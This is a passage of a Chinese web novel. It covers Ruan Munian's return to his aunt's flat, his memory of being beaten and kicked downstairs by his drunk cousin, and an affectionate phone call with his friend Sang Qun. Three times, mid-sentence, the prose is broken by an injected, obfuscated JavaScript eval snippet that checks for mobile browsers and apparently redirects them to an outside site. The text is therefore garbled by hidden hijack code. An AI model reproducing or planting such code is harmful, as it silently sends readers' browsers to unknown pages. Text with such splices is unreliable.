“今天这么多东西,哪好意思麻烦您嘛,”阮牧年笑笑,“我过两天再来玩。” 桑母遗憾叹了口气:“好吧,等你来的时候,我再把那只鸡下锅。” 桑群:“你就不能重新买一只吗?” “你懂什么,这只鸡象征了我砍价生涯的巅峰……” 母子俩一来一回地怼着,车内氛围还算轻松,阮牧年难得没有多话,只是望着窗外发呆。 街景从视网膜上飞速掠过,他眨了眨眼,察觉到指尖被人碰了碰。 回过头,桑群正看着他,神情被前面车座的阴影罩住,目光显得格外幽深。 他用口型问:怎么了? 桑群没说话,只是将他的食指捏进虎口里抱了抱。 前面桑母正在跟工厂的人打电话,车子行驶在喧吵的归潮里,后座两人的手指和目光却隐匿在阴暗处。 即便如此,他们依旧不需要开口。怅然、不舍以及内心深处淡淡的恐惧与厌烦,都在指尖触碰间呈现给了彼此。 桑群给了他一个拥抱,于是阮牧年弯了弯食指和拇指,也回给桑群一个拥抱。 分别从黏连的视线断掉开始。 目送走桑母的车,阮牧年拉紧书包肩带,拖着自己的行李箱走进身后破旧的小区。 这是他走了十几年的路线,很熟悉,一路从街边走到某单元三楼。 靠右的那户人家,是舅妈家。 他按下门铃,过了几秒又敲了敲门。 没人应。 他又按了几下,拍门的力度加大,但控制得很好,不会吵到其他邻居。 还是没有人开门。 阮牧年盯着这扇有些掉漆的深棕色防盗门,慢慢吐了口气,从兜里掏出手机打电话。 电话第一次被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356341|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒接了,第三次才在最后一秒被人接起来。 “谁啊!”对面的声音很不耐烦。 “舅妈,是我,”阮牧年平静道,“我放假了。” “放假?啊……哦哦牧年啊,你到我们家门口了吗?” “嗯,按铃没人应。” “哎呦,你不早说你今天回来,”舅妈说,“你表弟今天也放假,我们正在外面下馆子呢!这样,你在门口稍等一会儿,我们吃完就回去了,啊。” 阮牧年问:“还要多久?” 舅妈根本没听到这句话,直接挂了电话。 阮牧年看着手机屏幕,没再打过去。 先去消息页面给桑群报个平安,然后他收起手机,将行李重新扛下楼。 反正也不是第一次这样了。 周末的傍晚回来,时常有这样的情形,最开始他确实会傻傻站着等,接受楼道里上上下下的邻居的好奇注视。 后来他会自己找个没人的地方待着,偶尔观察一下小区门口的动静,等看见他们了再上楼。 隔壁单元一楼的大爷喜欢在门口支个摇椅扇风,冬天也一直开着窗,安个纱网听风声。 见他拖着行李路过,大爷打了声招呼:“哟,上大学回来啦?” 阮牧年停下脚步,笑了笑:“爷爷,我还没毕业呢。” 大爷:“还没大四?我知道,你不是今年刚上大学嘛!” “我是说,我才高二呢,”风声有点大,阮牧年提高了声音,“我这学期住校去了,现在是放假回来。” “哦哦住校,住校好啊,”大爷依然躺在他那摇椅上,声音也一晃一晃的,“住校就不用受气了,好啊。” 阮牧年微怔,问:“您还记得我呢?” “记得,怎么不记得?”大爷说,“小时候裤子也不穿满小区遛鸟上蹿下跳的那个,是不是你?” “什么?”阮牧年瞪大眼睛,“没有这回事!怎么可能是我。” “嗯?那小学的时候为了买小裙子来我这里借钱的那个,是不是你?”大爷又想了想。 “……我不穿小裙子。”阮牧年无奈。 “嘿,奇了怪了,那你是哪个呢?”大爷晃着晃着声音就低下去了,“不应该啊,我记性好着呢……” 阮牧年看着那个窗台笑了笑:“您先好好休息吧。” 他拖起行李箱继续走,快拐弯的时候,忽然听见一声。 “……噢,被人从楼梯上踢下来的那个,是不是你?” 阮牧年脚步顿住。 “猜对喽,爷爷我记性好着呢,”大爷继续晃悠着,“可怜的娃儿啊……上大学好啊,上了大学,就再也不用回来哩……飞得远远的……” 阮牧年转过头,从他的角度只能看见几乎重叠在一起的门窗,和侧面凸起的窗棂。他在原地站了一会儿,放下行李走了过去。 “您也要注意身体啊,这么冷的天,别一直开窗。”阮牧年替他把纱网外面的窗扇合上三分之二。 老头立刻嚷嚷起来:“我要听外面的声音!” “外面又不都是好声音,”阮牧年看了一眼屋内播着的戏剧,“您先听着屋里的,剧本上都是好结局呢。” 没再理会里头的不满,阮牧年重新拖上行李箱,找了个避风的地方。 算得上是他的据点了,夏天阴凉,冬天避风,还能从对面居民楼的缝隙里观察小区路口的动静。 哦,还能跟桑群偷偷见面。 是为了什么见面来着呢? 他坐在行李箱上,靠着墙壁陷入了沉思。 好像是……他被表哥打出家门,一路从三楼踢到一楼的水泥地上。 正是最狼狈的时候呢。 64. 64 那时候他初三,正在头疼怎么将学习面包渣桑群的成绩拉回平均线上。 桑群前阵子刚惹他生气,最近这段时间不敢忤逆他,阮牧年顺势给他布置了很多学习任务。 两人约好了在隔壁单元楼后的秘密基地碰面,阮牧年按照顺序贴好检索便签,抱着整理好的笔记本准备出门。 然后撞见了酒气冲天,正跟人打电话的表哥推门进来。 表哥去年高考落榜,连大专都悬,一家人合计了一下决定让他复读,走艺考路线,结果今年的统考成绩依然不理想,最近心情很差。 看他的样子,估计又是逃课出去跟狐朋狗友喝酒了,阮牧年不想招惹他,往旁边退了一步。 表哥却一下子就看向他:“你要去哪儿?” 阮牧年:“我出去买个东西就回来。” 表哥冷笑:“你以为这是你家吗,想进就进想出就出?” 阮牧年没说话,表哥进门后哐地把门反锁上了。 “你别想出去。”他蛮横道。 阮牧年皱了皱眉,就见对方拿着电话去沙发上瘫着了。 那头估计是问他在跟谁说话,表哥满不在乎地说:“不是我弟,一个赖我家的拖油瓶。” “呵,我弟要是他这样,我肯定抽死他。” “……再说了,今天没心情,下次再约。啧,家里怎么没烟了。” 表哥开始在茶几上翻找,阮牧年趁机摸到门锁,准备偷溜出去。 锁刚按开,小腿传来钝痛,阮牧年缩了一下,低头一看,一颗苹果滚落在地上。 “我让你走了吗。” 表哥阴沉的声音从身后响起。 很倒霉,闻到对方身上的酒气后,他就应该识相点躲进杂物间,但是他着急去见桑群,忘记了表哥喝醉后暴躁易怒甚至可能会动手。 后面的事情就比较混乱了,意识到对方真的打算动真格后,阮牧年就一直护着后脑躲避,眼前只剩杂乱到各种颠倒的视角。 熬过这阵就好了,他是这样想的,直到表哥觉得他不还手不够泄愤,转身扯出团团当着他的面撕开针脚。 阮牧年眼尾陡然一红,头也不护了,伸手就要去抢:“还我!” 表哥一脚把他踹到地上。 摔倒的视野里,是同样破烂不堪的小熊玩偶。 满腔怨恨与不甘如同飘落的棉絮一样,漫天都是,却无处宣泄。 尽管表哥是个成年人,还喝了酒,但他奋力抵抗并非毫无还手之力。 只是想到了舅妈前两天刚被网购骗钱,舅舅在外地出差,表弟这次月考成绩又退步了……他最终还是没有主动出手。 表哥看他这副窝囊样就来气:“想出门是吗?行,我成全你!” 他猛地推开防盗门,门在外墙上狠狠砸出声,震得整个楼道还有附近的人都不由看过来。 表哥居高临下看着他:“出去以后就别再回来了!” 脊背剧烈摩擦着粗糙的台阶石面,从楼上滚下来的时候,阮牧年抱着脑袋,心里只想着一件事。 待会儿该怎么跟桑群解释啊。 表哥一路踢着他下楼,见他出了单元门,把铁门用力关上。 阮牧年侧躺在楼前的空地上,冬天的寒冷比疼痛更加强烈,更别提他本就比常人穿得单薄,后背的直觉几乎已经麻痹了。 不知过了多久,有人过来推了推他。 “谁家的小皮球滚这儿了?” 阮牧年睁开眼,看见了隔壁单元一楼的那位大爷。 他张了张口,却说不出话来。 大爷成天一副懒散的样子,走路都晃悠悠的,力气却意外的大——或许也有阮牧年那时还没长个的缘故——总之,他被对方从地上挖起来,抱回了屋里。 这个总是开窗的屋子比他想象的要暖和许多,大爷看他缩成一团的样子,背着手主动去关了窗。 “皮肤白的小娃娃都不经冻,放北风里吹一会儿,就变成红脸雪人了。”大爷摇着头自顾自说着,从旁边拿过一只热水袋塞进他怀里。 阮牧年抿了抿冻麻的双唇,哑着声音吐出两个字:“……谢谢。” 大爷却不满意地往他额头上点了一下:“不叫人,没礼貌。” 阮牧年差点被他点倒:“……谢谢爷爷。” “这才对嘛。”大爷满意了。 塞完热水袋,对方就不管他了,躺回他那个吱呀响的摇椅里听剧。 阮牧年坐在床边回暖了一会儿,身上的知觉逐渐回归,各种疼痛从皮肉下漫延开来,他不自觉地弓起身子。 墙上挂着时钟,阮牧年纠结片刻,还是开口了:“爷爷,能请您帮个忙吗?” 十分钟后,全副武装的阮牧年如约来到秘密基地。 桑群穿着大衣,已经在那里等他了。 虽然晚生半年,桑群的个子却蹿得比他早,这时已经一米七多快一米八了。 阮牧年慢慢走过去,仰起脸来看他:“你到的好早。” 桑群低头打量了他半天:“你怎么穿成这样?” 军装大衣,红绿大妈配色的围巾,肥大得能两个人一起穿的棉裤,甚至还有一顶遮耳雷锋帽。 “太冷啦,邻居大爷要扔旧衣服,我就找他要了,”阮牧年吸了吸鼻子,“对不起桑群,笔记本我没带来。表哥他今天心情不好,我是偷偷溜下来的,待会儿就得马上回去了,你这两天先把落下的作业补一补吧,下次见面我再给你笔记。” “是么。”总觉得哪里不对,桑群眯起眼。 “真的,”阮牧年连忙点头,“我得回去了,我们下次再……” “等等。” 阮牧年退到一半的腿被迫停止。 桑群的目光紧盯着他不放,阮牧年垂下眼:“我再不回去就要被表哥骂了……” “年年,”桑群看着他说,“有人告诉过你,你撒谎的时候不敢看人么。” 阮牧年顿时僵住了。 “为什么撒谎?”桑群朝他走了一步。 阮牧年下意识要跑,桑群眼疾手快去抓他的手腕,没想到被抓住的人剧烈地抖了一下,完全动不了了,根本不用追。 桑群立即皱起眉:“你手怎么了?” 阮牧年只是摇头:“你放开,不要抓着我……” 桑群换了个地方,去按他肩膀:“到底怎……嗯?” 刚碰到,手里的人就又抖了一下,低着头不敢说话。 桑群往下一看,腿也不自然曲着,因为藏在大棉裤里,所以不明显,但现在这双腿正在细细发颤。 手上不敢用力了,桑群虚搭在他身上,语气沉下来:“到底发生什么了?” 阮牧年没吭声。 桑群用另一只手去摸他的脸,只摸到了满脸冰凉的湿黏。 他叹了口气,放缓语调唤他:“年年。” 听见这声,阮牧年终于忍不住了,张开手臂扑进了他怀里。 桑群被他砸得后退了一步,差点嵌进墙里。 他轻轻扶起阮牧年的胳膊,把自己的风衣衣摆扯出来,让阮牧年伸进外套里面抱,再将宽大的风衣罩住对方瘦弱……藏在肥厚军大衣底下的瘦弱身子。 本想拍拍背,结果碰哪儿都发抖,桑群没招了,手插在风衣外兜里虚拢着怀里的电动小年,轻声哄道:“我穿的可是毛衣,弄湿了不好洗。” 阮牧年那时比他矮了半头,埋在他胸前蹭眼泪,闻言不敢动了,默默把脑袋抬起来一点:“对不起,我……唔。” 桑群赶紧把他的脑袋按回去。 他算是发现了,这家伙除了脑袋,哪儿哪儿都不能碰。 桑群猜测:“他们打你了?” 阮牧年没说话。 “这可是家暴,你还是未成年,”桑群绞尽脑汁地搬用自己匮乏的知识,“动一下都发抖……至少重伤了,得赔钱吧,我们报警,拿了钱就搬出去住,不受这个气。” 阮牧年沉默了一会儿,轻声说:“可能只是轻微伤……真的不严重,真的。我就是比较敏感……” 事实上他防卫得特别好,要害基本都没伤到,表哥也没没蠢到往他脸上挥拳头的程度,连下楼都是一段一段踢的。 桑群也不由沉默下来,显然是想到某人为划破五毫米的伤口哭了半天的壮举。 “报警的话,警察估计只会叫我们自己和解……”阮牧年低着声音说,“所以不用这么麻烦。就这样吧,我也没多大事……” “没多大事?”自己捧手心里宠的宝贝被别人这样欺负,桑群只觉得火大,“你真是一点长进都没有,阮牧年。” 察觉到对方想做什么,阮牧年连忙抱紧他:“等等桑群,不行、不行的……” “他家在三楼右手边是吧,”桑群拖着他往前走,“告诉我,他怎么动你的?” “不要去……桑群!”阮牧年拦不住,狠狠推了他一把,把人推回墙边,“忍一忍不好吗?我们现在做什么都是劣势,等以后长大了……” “忍忍忍,你已经忍了他们十几年了,还打算忍到什么时候?!” 桑群火刚发一半,就看见对面人泛红的眼尾,免不得心软下来,声音也放软了:“……我忍不了。” “再想想其他办法吧,”阮牧年抓着他,“你不要冲动,不要打人……我不想再看见你受伤了,你答应过我的。” 桑群抬手抹去他眼角的湿润:“我也是的,年年。” “你不要担心,我真的没什么事,”阮牧年仰着脸看他,“我就是怕疼。唔,还有就是……可能暂时回不去了。” “什么,”桑群登时竖起眉,“他还赶你走?” 阮牧年连忙解释:“我是说暂时,暂时。” “你这衣服哪儿来的?” “隔壁大爷要扔旧衣服……” “又撒谎,骗人精。” “我没、没全说谎……好吧,是我主动找他借的,因为他刚刚帮了我。” “嗯,待会儿还回去吧,我给你带了衣服。” “啊?在哪里?” “就我身上穿的,里面两件毛衣,薄但是暖和,我妈妈新做的,都给你。” “可我刚刚好像弄脏了……” “没事,我家里还有好多件。” “诶?” 桑群终于说出了此行的主要目的:“本来就是要过来拐你回家的,没想到还碰上这种事。他不让你回去,那就不回,先跟我走吧,我妈妈做了好吃的。” “那以后……” “以后的事以后再想办法,”桑群抱住他,“交给我妈妈好了,她比较聪明。” 继被大爷挖走后,阮牧年很快就被面包渣桑群捡回家。 那件事的后续桑母出了很大力,她先给阮牧年的伤势留证,又问了他详细的经过,然后让他给他妈妈打电话告状。 有人证物证,田女士终于看清了弟媳一家的真面目,在桑母的煽风点火下决定以后把生活费亲自打到阮牧年自己的卡上,而舅妈家少了一部分经济来源,赶紧拉着表哥来道歉,田女士不擅长处理这种事情,把选择权交给阮牧年。 看着垂眼耷眉的表哥,阮牧年只觉得好笑。 原来金钱能抹平人与人之间的怨恨,真神奇。 最后他还是回到舅妈家住了。 桑群家这些年已经足够辛苦,自己不论如何都不能成为他们的负担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是当初为了哄骗舅妈相信他要住校,有些东西还放在那个杂物间里,这次他说什么都要回来,也是为了那些东西。 不知待了多久,路口街灯下出现三道熟悉的身影。 阮牧年一眼就认了出来,是舅妈、表弟还有表哥。 他又坐了一会儿,才起身慢吞吞地把行李箱拖过去。 舅妈看见他问:“怎么没上去?” “底下有椅子。”阮牧年笑了笑,跟在了他们身后。 表哥缀在他妈和弟弟后面玩手机,听见阮牧年声音也没抬头搭理。 体育中考之后,阮牧年终于开始长个,一直蹿到跟桑群一样高,比当初高大可怖的表哥高出了半个头。 他们之间的恩怨早在当年那场报复之后默认两清,这些年非必要不会主动理会对方。 舅妈嘴碎,上楼也不忘数落家里不省心的一大一小,开门的时候讲到了阮牧年:“牧年你也是,在学校也不打个电话回来,这么突然,你的房间还没收拾呢……” “表弟也放假了,舅妈不是知道吗?”阮牧年微笑,“我也不是故意的,学校只让家长联系学生。” 舅妈脸色难看了一瞬:“是吗,这样啊。” 嘴上说着突然,回到家后,舅妈也没有要主动去收拾房间的意思。 阮牧年见怪不怪,说了一声就进屋反锁上门。 电灯按亮,这个屋子第一次跟它的名字匹配起来。 还真成了杂物间。 阮牧年看了眼堆满箱子的床和满是旧物的书桌,卷起了校服袖子。 半小时后,床和椅子终于空了。 床单早已落灰,好在他带了一条被套回来,勉强能盖。 将书包放到床上,他摸到床头的床垫边缘,以一个别扭的角度撑起它,伸手摸到了木板下的暗格。 从小学发现这处地方后,他就开始往里面藏东西。 掏出来一看,小铁盒外扣着一道老旧的挂锁。 阮牧年对着灯照了照,果然被人撬过了。 他暗暗叹了口气,看来这个位置也不安全了。 好在,这应该是他最后一次藏东西了。 盒子打开,里面放着一张叠起来的纸,一把钥匙,还有一堆花里胡哨的巧克力糖纸。 阮牧年把纸和钥匙掏出来,盖好盖子,铁盒塞进书包里。 纸被人拆开过,可能以为里面包着什么,但展开后只是一个未完成的数独九宫格。 阮牧年摸了根铅笔,拿广告单铺在地上,椅子代替桌子,解起这道数独。 提笔的时候,依稀还能想起当年设置它时的对话。 “我来想数字?” “对,不要太简单了。” “可我不会出什么数独题。” “我不是教过你了吗?按我说的做。” “年年,你打算往里面藏什么东西?” “是秘密哦。” “连我也不能知道?” “唔,以后再告诉你吧。” “行吧。写完了。” “好,我会把它和钥匙一起锁起来。” 两分钟后,他得到一串数字,拿起钥匙往房间角落走去。 各种纸箱和杂物之后,有一个半人高的玻璃柜蒙着厚厚的灰尘。 阮牧年小心地把它搬出来,擦掉上面的灰,露出展柜顶层里摆着的一块奖牌。 【市级三好学生奖章:阮牧年】 阮牧年找到玻璃柜的锁孔,轻松用钥匙打开。 展柜的每一排都有着大大小小的奖章或者荣誉证书,纸质奖状放在最底下的抽屉里,用一个大文件袋装着。 最上面的那块奖章还有一个底座,阮牧年将它拿下来,拆掉底壳,里面露出一个电子锁,包含数字按键和电子屏。 【96924】 这个密码确实复杂,至少阮牧年第一眼没看出什么意思。 输入之后,电子锁应声而开。 65. 65 底座有五厘米厚,能塞得下很多东西。 但阮牧年放的东西很少,一枚暗沉的5角硬币,几卷捆起来的现金,一个小型红包和一张储蓄卡。 将底座拿出来后,阮牧年重新上锁,把柜子推回角落。 他能带走的东西不多,奖状之类的只能算累赘。这个展柜是桑母卖不掉送给他的,据说以前是用来装桑群的机器人。 回到床边坐下,阮牧年将东西放到书包夹层里,顺便掏出两张卷子,铺在椅子上边看边打算着。 过不了多久,物理竞赛的奖金也要打来了,他的资产大概有……嗯,可以开始做规划了,还有不到一个月…… 卷子翻页,门外传来敲门声。 “谁?”阮牧年问。 “我,”表哥沉闷的声音响起,“拿东西。” 阮牧年起身给他开了门。 表哥一进门就看见地上铺的广告单和椅子上的卷子,目光有些复杂。 他难得多问了一句:“写作业?” “嗯,”阮牧年说,“要拿什么?有些东西搬到地上去了。” 表哥没去翻找,只是沉默地搬走书桌上的纸箱和书架上的旧音响,腾出一大块地方。 走到门边,他才别扭地挤出一句话:“去桌上写吧。” 阮牧年跟在他后面合上了门。 表哥好像忘了,在他高考毕业之前,这个杂物间是没有书桌的。 地板、墙壁、床垫、垫板,甚至是放在手上,他都可以写作业,用椅子已经是可以媲美桌子的程度了。 那件事后,舅妈一家对他的态度缓和了不少。 但正如他所说的,许多事情很难一笔勾销的。 亡羊补牢的体谅,换不来他的原谅。 但没关系,他只需要抓住自己想抓住的人就好了。 表哥只是将书桌腾出空间,上面还有许多灰尘,阮牧年懒得再去收拾了,盘腿坐在地上继续写卷子。 基础卷非常简单,速度快的话一小时能写三张,后面的大题他一般是脑算出结果,先写答案,之后再补上过程。 真无聊啊,他抬眼看了下时间,快写完最简单的数理,然后奖励自己休息一会儿吧。 最后一个答案算出来,阮牧年丢下笔,伸了个懒腰。 休息时间!去看看桑群在干什么。 【Ruann:[小狗探头]】 【Ruann:桑桑在干嘛】 【阿君羊:学习】 【Ruann:?这么勤奋,不像你啊】 【阿君羊:[图片]】 阮牧年点开一看,里面是一个白色的盘子和……一块黑不溜秋的不可名状物。 【阿君羊:厨艺学习】 【Ruann:……】 【Ruann:阿姨还好吗?】 【Ruann:[揪手帕]】 【阿君羊:为什么关心她,她炒完菜就把东西全撤出去了,让我自食其力】 【Ruann:她甚至放心让你跟厨房独处?!】 【Ruann:[小兔惊讶起跳]】 【阿君羊:……】 【阿君羊:至于吗,那盘鸡肉只是焦了,皮挑开里面还能吃,有熟】 【Ruann:原来那个是鸡肉嘛……】 【Ruann:[小熊挠头]】 【阿君羊:……】 【阿君羊:真的能吃,我全都吃完了】 【Ruann:啊?需要叫救护车吗?】 【阿君羊:……阮牧年。】 【Ruann:好啦,我不说啦】 【Ruann:[捂嘴偷笑]】 【阿君羊:好吧,后来我妈进来指导了,所以真的能吃】 【Ruann:哦哦!原来如此】 【阿君羊:你呢,在干什么?】 【Ruann:写作业呀】 【阿君羊:晚饭吃了没】 【Ruann:没有[对手指]】 【阿君羊:[小狗跺脚]】 【阿君羊:又不吃[瞪眼]】 【Ruann:哇你怎么还偷我表情包】 【阿君羊:不要转移话题】 【Ruann:好嘛,他们不知道我今天回来,所以没吃,不是故意的】 【Ruann:我待会儿去找点东西吃,不要生气啦】 【阿君羊:[语音2"]】 嗯?发什么过来了? 阮牧年点开,手机凑到耳边。 一道低沉的声音经电磁修饰,响在这片安静的空间里。 “啧,不乖。” 熟悉的字眼黏连中,阮牧年似乎能看见桑群那双冷淡的眼睛微微下垂,轻蹙眉训斥他的样子。 啊。 不知为何,桑群吐出这类短句字眼的时候,会让他觉得好听又脸热,像被人拿心脏拨弦。 那种感觉……怎么说呢。 大概是桑群垂眼看人的时候,很有那种主人感。 ……虽然在他这里一般是铲屎官。 他发呆的这段时间,阿君羊又发来好几条消息。 【阿君羊:[图片]】 【阿君羊:记得下楼拿】 图片里是一张配送截图。 【Ruann:这是什么?】 【阿君羊:晚饭】 【Ruann:啊?】 【阿君羊:特别快送晚餐,专治你这种小懒蛋】 【阿君羊:放心,是我妈做的版本】 阮牧年看着截图上的送达时间,没几分钟了。 他推开门,客厅里空荡荡的,表哥表弟各自的卧室门缝亮着光,舅妈训斥的声音偶尔从表弟房门里传出。 就这样溜下楼,一楼的木桌上堆放着零星的外卖。 没等多久,快递员的摩托车停在楼外。 对过信息,特地送来的爱心晚餐拎在手里,没扎紧的塑料袋口散发着热意。 阮牧年还是没忍住,坐在卧室床边给桑群打了个电话。 “吃上了?”一接通,桑群就问。 “嗯,”阮牧年含糊着说,“好吃,很香,你多夸夸阿姨,别老是呛她,不然下次厨房爆炸她不捞你了。” 桑群:“……她很有自知之明,不用我夸。” 简单说了两句,对面听着他边吃边说的声音,渐渐不出声了,阮牧年也专注享用起晚餐,一时间频道内只有咂嘴和吧唧的声响。 但电话没有挂断。 现在想来,他们似乎没有过这样的时候。有事开口说,无事了自然就挂断,一向如此。 可桑群没有,阮牧年更没有。 他们只是沉默地听着对方那边传来的声响,吃饭声、摩擦声,又或是窗外遥远的风声。 阮牧年不知道桑群正在做什么,总之不会是写作业,可能是发呆,也可能是在帮他妈妈赶手工活儿。 他没开口问,嚼累了咬着筷子尖休息的时候也没开口问。 煎炒的鸡肉外脆里嫩,米饭特地浇了酱汁,菜碗里还有几道小菜,味道真的很好,舌尖不断汲取着食物的滋味和触感,却到后来渐渐变得无味。 弥补他感知的另一部分事物,是电话那头静又未静的响动,是桑群时而清晰可闻的呼吸声。 吃饭满足了食欲,电话里的声音又填补了什么呢? 阮牧年拨弄起塑料袋时,桑群的声音终于轻轻响起:“吃完了?” “嗯,差不多了,”阮牧年还是问了,“你刚才在做什么?” “没做什么。” 阮牧年不信:“总不会是在睡觉吧。” 对面闷嗤一声,桑群的声音没那么低了,音量正常起来:“你觉得我在做什么?” “是不是阿姨给你布置了任务,”阮牧年想了个最合理的,“你手上忙得过来吗,跟我说话会不会分心?” “唔,也许吧。” “啊,”阮牧年看了眼通话时长,都快一小时了,“那我要不……” “等等,”桑群叫住他,“你呢?今天怎么没说谢谢,难得有不客气的时候。” 阮牧年顿了顿:“比起道谢,我其实……” 后面的话变得含糊,难以听清,桑群问:“什么?” 阮牧年凑近了椅面上的手机,吐出的气息扑在收音孔上。 “……我其实更想见你,”阮牧年趴在自己手臂上,他放低声音的时候,尾音总会不自觉落下去,沾染上些许鼻音,听上去有些可怜,“桑桑,你有过这种感觉吗?明明是很好吃的饭,嚼着嚼着也会没了滋味。” 明明是傍晚刚刚分别的人,却在话筒里听到的时候恍如隔世。 难道是这学期太亲近了,才忍受不了当下一分一秒的别离吗? 听完他的话,桑群沉默了一会儿。 “……有过,”桑群开口,“想知道为什么吗。” “为什么?” “因为挂念。” “……” 不由得想起记忆里的某段对话,他在角落生闷气,被桑群揪到栏杆边摸头。 “我不明白,”阮牧年兀自沉闷了很久,才望着外面的夜景开口,“喜欢就是这样的吗?让人感到难堪。” “当然不是,”桑群拍着他的背,“不舒服的话,就不当朋友了。” “我想不通,我不讨厌她……所以我就应该答应她吗?”阮牧年抱着膝盖,“那么多人起哄……我好像被他们讨厌了。” 对于刚刚鼓起勇气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356343|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尝试融入集体生活的阮牧年来说,这种事实在令人内耗。 “不要担心了,”桑群也坐下来,挨着他的肩膀,“喜欢你喜欢的人就好了。” 阮牧年回头看他:“可什么是喜欢呢?” “唔,我也说不清楚,”桑群想了想,“像爸爸妈妈那样,就是喜欢吧。” 阮牧年痛苦道:“我的爸爸妈妈都不喜欢对方……” 桑群连忙找补,绞尽脑汁想例子:“我的意思是……就像我爸爸和我妈妈那样。喜欢啊爱啊什么的,他们其实都没怎么说过,但还是能让人感觉到他们喜欢着对方,反正就是……那种感觉……” 说到后面,他自己也解释不下去了,描述得乱七八糟。 阮牧年却若有所思地点点头:“喜欢不是能轻易挂在嘴边的东西,那它是什么呢?” 桑群牵住他的手,学着哥哥的样子包裹住他的手背:“我想,应该是挂念吧。” “为什么?” “因为我没有见过爸爸妈妈是怎么相爱的,但我见过他们想念对方的样子,爸爸出差会叮嘱我很多东西,妈妈累的时候喜欢给爸爸打电话,还有……那天妈妈一个人坐在里面,哭得眼泪都干了。” 说着说着,他开始总结:“所以喜欢就是你会思念某个人的感觉,很在意很在意,心脏被对方偷掉了一个角,必须要见面才能好起来。” 阮牧年努力理解:“想念……我好像并不会去想念她。” “那就不需要担心了,就算她会想念你,不是两情愿意的事情,你可以不答应的。” “是两情相悦。” “都一样了。” “感觉还是好复杂……” “没关系,现在不懂也没事。也许等我们长大了,就能想明白了。” 从未想过,童言中的也许会有实现的一天,曾经无法感同身受的一切,变成了如今他一呼一吸间剧烈跳动的心脏声。 对于大多数人而言,想念只是想念;对于桑群而言,思念牵挂就是含蓄表白。 电话里又一阵静默,只有不断跳动的秒数,记录着他们联系的时间。 等那些稀疏平常的接触变成隔着距离的触不可及,平日里微小的心绪才逐渐浩大起来,附在心上,成了一处不断发痒的血肉。 “桑桑,”阮牧年垂下睫毛,痒意从心底涌向舌尖,唇瓣紧抿后张开,发出一声很小的啵,“我也很想你。” 桑群那边依旧没声音,阮牧年查了一下网络,没断联啊。 对面声音变得有些不一样,似乎是低沉了不少,桑群问:“你说什么?” “我说我也很想你。” “上一句。” “没有上一句啊,”阮牧年想了想,“亲了你一下,太小声了吗?那……mua。” 电话那头传来一道沉闷的撞击声,似乎是什么重物砸在了地上。 “你怎么了?”阮牧年被他这动静吓了一跳,“手机掉了?地震了吗?” 好一阵杂音后,桑群的声音才重新出现:“没事,不小心碰掉了抽纸盒。” “哦,”阮牧年拖长声音,软软地问他,“你在害羞吗?” “没有,”这两个字桑群念得很清晰,他辩解道,“我又不是逃跑的人……现在不是我追你么。” “欸,”阮牧年忽然觉得有点热,不自在地挠了挠脸颊,“你不要乱说……” “怎么样?”桑群问。 “什么怎么样?”阮牧年没听懂。 “不是想见面吗,”桑群说,“兼职地址发你了,想什么时候来都行,帮忙冲业绩也行。” 阮牧年啊了一声:“你是想见我,还是想利用我挣钱?” “都想,不行吗。” “你怎么既要又要的。” “来不来?” “唔,我考虑一下。” 本想逗一下他,没想到桑群那边直接没声儿了,阮牧年正想着要不直接答应吧,那边又传来动静。 是很小的一道气音,若非周围安静,几乎能融进气流里。 “么。” 桑群嗓音放低,字音仿佛在纸上磨砂,伴着一声几不可闻的轻笑钻进他耳里。 “别考虑了,来么。” 阮牧年大脑空白了几秒,后知后觉桑群似乎是在……蛊惑他。 见他没反应,桑群又用那种调子叫他:“年年……嗯?” 连新手村都还没出的阮牧年瞬间被这从天而降的嗓音彻底压倒,他红着脸往自己的袖子上使劲蹭了蹭,才仰起头问:“你、你这是犯规,怎么能用这么……的声音说话……” “喜欢么,”桑群继续逗他,“想学吗?” “我……” “来找我,”桑群说,“亲口教你。” 66. 66 上班第一天,桑群在店后门还共享单车,昨晚被逗得一额头砸断了通话的某人还没动静。 毕竟刚放假第一天,要是急不可耐过来探班,不利于快速完成寒假作业。 没事,他可以慢慢等。 找到主管确认了工作内容,他跟人领了工作服,往更衣室走去。 正好上一个人刚出来,走廊有些窄,两人擦身而过的时候不小心撞到了肩膀。 “抱歉……” “抱歉……” 异口同声的两人都顿了顿话音,对上视线。 有点眼熟,看着那张冷淡的脸,桑群努力回想,似乎见过,谁来着? “桑群?”对方先认出他,“真巧。” “嗯,是,”不管了,先随便打个招呼吧,桑群对他点了点头,“你也是招待?” “兼后厨,我全天全职。”宁舟言简意赅,“有个吊灯不太牢固,小心。” 桑群:“多谢。” 两个锯嘴葫芦就此别过,桑群进去推门一看,第一个隔间的吊灯确实一直在轻微晃动,相较之下另一个就安全多了。 不过一般人很少会注意到顶上的细节,可能图近就进了第一个隔间。 招待的服装白衬衫配黑围裙,立领下缝着一条纯黑领巾,有点吃身材,好在桑群穿起来还挺修身。 换好衣服,店里差不多开始进客人了,主管叫他去门边站着,揽客进店,偶尔帮帮服务员的忙。 刚在一边站定,对面的门神扭过头看了他一眼。 ……这么巧。 